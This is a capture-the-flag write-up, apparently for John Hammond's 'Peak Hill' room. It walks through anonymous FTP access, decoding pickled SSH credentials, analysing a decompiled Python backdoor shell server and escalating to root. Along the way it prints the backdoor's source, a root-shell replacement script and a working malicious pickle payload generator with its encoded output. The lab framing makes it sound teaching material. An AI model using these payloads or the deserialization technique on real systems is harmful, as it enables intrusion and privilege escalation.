Objectives
Capture user.txt and root.txt flags
Steps
Enumeration
Let’s start with a standard nmap scan:
1
2
3
4
5
6
7
8
9
10
Nmap scan report for <IP>
PORT STATE SERVICE REASON VERSION
20/tcp closed ftp-data conn-refused
21/tcp open ftp syn-ack vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 17 May 15 18:37 test.txt
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP
Nmap scan showed us that we can log in as an anonymous user so let’s do that:
1
2
ftp> dir
-rw-r--r-- 1 ftp ftp 17 May 15 18:37 test.txt
We see nothing interesting in this file so let’s investigate further:
1
2
3
4
5
ftp> ls -al
drwxr-xr-x 2 ftp ftp 4096 May 15 18:37 .
drwxr-xr-x 2 ftp ftp 4096 May 15 18:37 ..
-rw-r--r-- 1 ftp ftp 7048 May 15 18:37 .creds
-rw-r--r-- 1 ftp ftp 17 May 15 18:37 test.txt
Now we can see a hidden creds
file, after downloading it we see it’s a file containing something encoded with binary
1
100000000000001101011101011100010000000<REDACTED>0011000011001110001010110100110010100101110
After decoding it we see some strange things
1
2
3
4
�]q(X
ssh_pass15qXuq�qX ssh_user1qXhq�qX
ssh_pass25qXr�q X
ssh_pass20q
After trying few things on it I finally found out that this file was a python pickle file
Pickled credentials
After reading the pickle file in python we see it is an array of tuples:
1
2
3
4
5
import pickle
f = open('./ftp/creds.pickle', 'rb')
data = pickle.load(f)
print(data)
1
2
$ python readCreds.py
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), <REDACTED>, ('ssh_pass0', 'p'), ('ssh_pass10', '1')]
After a quick look on the array we see that each tuple marks a single char in the ssh username/password and after decoding it we get our first shell on the system
First user: gherkin
After logging in we only see one file in user’s home directory:
1
-rw-r--r-- 1 root root 2350 May 15 18:37 cmd_service.pyc
It’s a python bytecode file, we can either try to read the bytecode or decompile (eg. with uncompyle6)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys, textwrap, socketserver, string, readline, threading
from time import *
import getpass, os, subprocess
username = long_to_bytes(<REDACTED>)
password = long_to_bytes(<REDACTED>)
class Service(socketserver.BaseRequestHandler):
def ask_creds(self):
username_input = self.receive(b'Username: ').strip()
password_input = self.receive(b'Password: ').strip()
print(username_input, password_input)
if username_input == username:
if password_input == password:
return True
return False
def handle(self):
loggedin = self.ask_creds()
if not loggedin:
self.send(b'Wrong credentials!')
return None
self.send(b'Successfully logged in!')
while True:
command = self.receive(b'Cmd: ')
p = subprocess.Popen(command,
shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
self.send(p.stdout.read())
def send(self, string, newline=True):
if newline:
string = string + b'\n'
self.request.sendall(string)
def receive(self, prompt=b'> '):
self.send(prompt, newline=False)
return self.request.recv(4096).strip()
class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
pass
def main():
print('Starting server...')
port = 7321
host = '0.0.0.0'
service = Service
server = ThreadedService((host, port), service)
server.allow_reuse_address = True
server_thread = threading.Thread(target=(server.serve_forever))
server_thread.daemon = True
server_thread.start()
print('Server started on ' + str(server.server_address) + '!')
while True:
sleep(10)
if __name__ == '__main__':
main()
After decoding and analyzing the file we can see it’s a shell/backdoor server written in python with hardcoded credentials. We can easily decode them by grabbing the number and decoding it with long_to_bytes
from Crypto.Util.number
Second user: dill
Now that we have the credentials for the backdoor we can connect to it:
1
2
3
4
5
$ nc 10.10.89.115 7321
Username: dill
Password: <REDACTED>
Successfully logged in!
Cmd:
We get dropped into a “shell” where we can execute commands but we’re stuck in one directory.
Just to make it easier for me I decided to create the .ssh
folder for this user and pasted my ssh public key so I can connect to it via ssh to get a usable shell.
Now that we have a stable shell we can easily browse files and execute commands.
In this user’s home dir we can see the user flag and a peak_hill_farm
directory
1
2
drwxr-xr-x 2 root root 4096 May 15 18:38 peak_hill_farm
-r--r----- 1 dill dill 33 May 15 18:38 user.txt
First thing I did after getting the ssh shell was checking for any sudo privileges and this user has the ability to run the ~/peak_hill_farm/peak_hill_farm
file as root
1
2
User dill may run the following commands on ubuntu-xenial:
(ALL : ALL) NOPASSWD: /home/dill/peak_hill_farm/peak_hill_farm
Unintended (patched) privesc
When the box first came out it was possible to just remove the peak_hill_farm file and replace it with a simple shell script that spawned a root bash shell:
1
2
3
#!/bin/bash
id
bash
Intended privesc
After running the peak_hill_farm file we see a simple prompt:
1
2
3
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!
to grow:
After entering random text we can see an error:
1
2
to grow: asd
failed to decode base64
Let’s try to decode some random text with base64:
1
2
to grow: dGVzdAo=
this not grow did not grow on the Peak Hill Farm! :(
That’s when I decided to download the binary and try to analyze it. When I extracted some compressed blocks of data and ran strings on them I found out that the input was ran through a pickle deserializer.
We can try to create a malicious pickle payload by serializing an object that overrides the __reduce__
function that describes how pickle should reconstruct the object so it contains an eval function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import sys
import pickle
import base64
import os
cmd = sys.argv[1]
class Exec(object):
def __reduce__(self):
return (eval("os.system"), (cmd,))
print(f"os.system(\"{cmd}\")")
print()
print(base64.b64encode(pickle.dumps(Exec())).decode())
We can run this script with a parameter like bash
to make the payload spawn a bash shell for us
1
2
to grow: gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjARiYXNolIWUUpQu
root@ubuntu-xenial:~#
Root
After getting root with one of the ways described above we can try to read the flag file just to learn it’s not there
1
2
3
4
root@ubuntu-xenial:/root# ls
root.txt
root@ubuntu-xenial:/root# cat root.txt
cat: root.txt: No such file or directory
The filename has a space/other char inside. I tried escaping it but decided it’s easier just to cat every file in root instead
Thanks to John Hammond for creating this room and thanks to you for reading.
Hope you learned something :)